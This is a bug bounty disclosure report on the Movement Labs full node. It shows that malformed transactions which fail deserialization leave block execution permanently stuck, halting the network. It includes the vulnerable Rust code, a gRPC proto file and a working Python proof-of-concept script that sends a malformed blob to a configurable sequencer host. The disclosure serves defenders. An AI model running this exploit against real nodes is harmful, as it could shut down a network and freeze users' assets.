#42941 [BC-Critical] [Critical] Network-Wide Denial of Service Through Unrecoverable Block Execution Failures
Submitted on Mar 29th 2025 at 20:04:49 UTC by @hulkvision for Attackathon | Movement Labs
Report ID: #42941
Report Type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/immunefi-team/attackathon-movement/tree/main/networks/movement/movement-full-node
Impacts:
Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
A critical vulnerability exists in the Movement Full Node block execution logic that allows an attacker to permanently halt the entire blockchain network by crafting malicious transactions. Once triggered, nodes cannot progress past the malicious block.
Vulnerability Details
The vulnerability exists in the execute_block_with_retries
function in the Movement Full Node's block execution pipeline. When a block fails to execute due to an error, the code attempts to retry execution several times with incrementally adjusted timestamps:
In networks/movement/movement-full-node/src/node/tasks/execute_settle.rs
async fn execute_block_with_retries(
&mut self,
block: Block,
mut block_timestamp: u64,
) -> anyhow::Result<BlockCommitment> {
for _ in 0..self.execution_extension.block_retry_count {
match self.execute_block(block.clone(), block_timestamp).await {
Ok(commitment) => return Ok(commitment),
Err(e) => {
info!("Failed to execute block: {:?}. Retrying", e);
block_timestamp += self.execution_extension.block_retry_increment_microseconds;
}
}
}
anyhow::bail!("Failed to execute block after 5 retries")
}
async fn execute_block(
&mut self,
block: Block,
block_timestamp: u64,
) -> anyhow::Result<BlockCommitment> {
//...//
for transaction in block.transactions() {
let signed_transaction: SignedTransaction = bcs::from_bytes(transaction.data())?; //@audit if malformed transaction is passed here, it will cause error during deserialization.
//...//
Ok(commitment)
}
Here in Line 236 if a malformed transaction is sent, the deserialization will fail causing an error, which is not handled properly causing block execution to halt. There could be several other potential failure points in the block execution process beyond just deserialization errors, deserialization error is one of them.
The core issue is that after 5 unsuccessful retry attempts, the function simply returns an error. When this error propagates to process_block_from_da
, the function fails. The vulnerability occurs because process_block_from_da
has no mechanism to:
Skip persistently failing blocks
Continue processing subsequent blocks
Record and handle unprocessable blocks appropriately
Once a node encounters a malicious block that consistently fails execution, it becomes permanently stuck, unable to advance to subsequent blocks in the blockchain.
Impact Details
No new transactions can be processed
Recovery requires code modification and network restart
All user assets on the chain become inaccessible during the outage
References
https://github.com/immunefi-team/attackathon-movement/blob/a2790c6ac17b7cf02a69aea172c2b38d2be8ce00/networks/movement/movement-full-node/src/node/tasks/execute_settle.rs#L150-L188 https://github.com/immunefi-team/attackathon-movement/blob/a2790c6ac17b7cf02a69aea172c2b38d2be8ce00/networks/movement/movement-full-node/src/node/tasks/execute_settle.rs#L236
Proof of Concept
Proof of Concept
setup movement full node by following the steps given in docs
Install these packages
grpcio
grpcio-tools
blake3
protobuf
create a folder named
protos
, inside it create a file with namemovement_da_light_node.proto
syntax = "proto3";
package movementlabs.protocol_units.da.light_node.v1beta2;
service LightNodeService {
rpc BatchWrite(BatchWriteRequest) returns (BatchWriteResponse);
}
message BatchWriteBlob {
bytes data = 1;
bytes namespace_id = 2;
uint32 share_version = 3;
}
message BatchWriteRequest {
repeated BatchWriteBlob blobs = 1;
}
message BatchWriteResponse {
repeated BlobResponse blobs = 1;
}
message BlobResponse {
oneof blob_type {
PassedThroughBlob passed_through_blob = 1;
SequencedBlobBlock sequenced_blob_block = 2;
}
}
message PassedThroughBlob {
bytes data = 1;
}
message SequencedBlobBlock {
bytes data = 1;
}
compile the proto file with following command
python3 -m grpc_tools.protoc -I./protos --python_out=. --grpc_python_out=. ./protos/movement_da_light_node.proto
run this python script
#!/usr/bin/env python3
import grpc
import json
import time
import uuid
import random
import sys
import os
import argparse
import blake3
# Add current directory to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
try:
from movement_da_light_node_pb2 import BatchWriteRequest, BatchWriteBlob
from movement_da_light_node_pb2_grpc import LightNodeServiceStub
except ImportError:
print("Error: Cannot import gRPC modules. Run the protoc command first.")
sys.exit(1)
# Default configuration
SEQUENCER_ADDRESS = '127.0.0.1:30730'
TIMEOUT = 120
def create_transaction(seq_num):
"""Create a single transaction matching Movement's structure with proper ID"""
payload_data = f"tx-{uuid.uuid4()}-{seq_num}-{'X' * 500}".encode()
hasher = blake3.blake3()
hasher.update(payload_data)
seq_bytes = seq_num.to_bytes(8, byteorder='little')
hasher.update(seq_bytes)
digest = hasher.digest()
return json.dumps({
"data": list(payload_data),
"application_priority": random.randint(1, 5),
"sequence_number": seq_num,
"id": list(digest)
}).encode()
def send_transaction():
"""Send a single transaction to the sequencer"""
seq_num = random.randint(0, 1_000_000) # Generate a random sequence number
try:
with grpc.insecure_channel(SEQUENCER_ADDRESS, options=[
('grpc.max_send_message_length', 10 * 1024 * 1024),
('grpc.max_receive_message_length', 10 * 1024 * 1024)
]) as channel:
stub = LightNodeServiceStub(channel)
blob = BatchWriteBlob(
data=create_transaction(seq_num),
namespace_id=b'',
share_version=0
)
response = stub.BatchWrite(BatchWriteRequest(blobs=[blob]), timeout=TIMEOUT)
print(f"✓ Transaction sent successfully")
return True
except grpc.RpcError as e:
print(f"✗ Transaction error {e.code()} - {e.details()}")
return False
def run_exploit(args):
"""Execute the exploit"""
global SEQUENCER_ADDRESS
if args.host:
SEQUENCER_ADDRESS = args.host
print(f"🚀 Sending transaction to {SEQUENCER_ADDRESS}")
start_time = time.time()
send_transaction()
end_time = time.time()
print(f"✓ Transaction completed in {end_time - start_time:.2f} seconds")
def parse_args():
parser = argparse.ArgumentParser(description='Movement Single Transaction Exploit PoC')
parser.add_argument('--host', help=f'Target sequencer host:port (default: {SEQUENCER_ADDRESS})')
return parser.parse_args()
if __name__ == "__main__":
try:
run_exploit(parse_args())
except KeyboardInterrupt:
print("\n⚠️ Exploit interrupted by user")
try sending a transaction you will see it will fail, or go see movement-full-node logs, you can see that it has crashed and further process of transaction is stopped.
Was this helpful?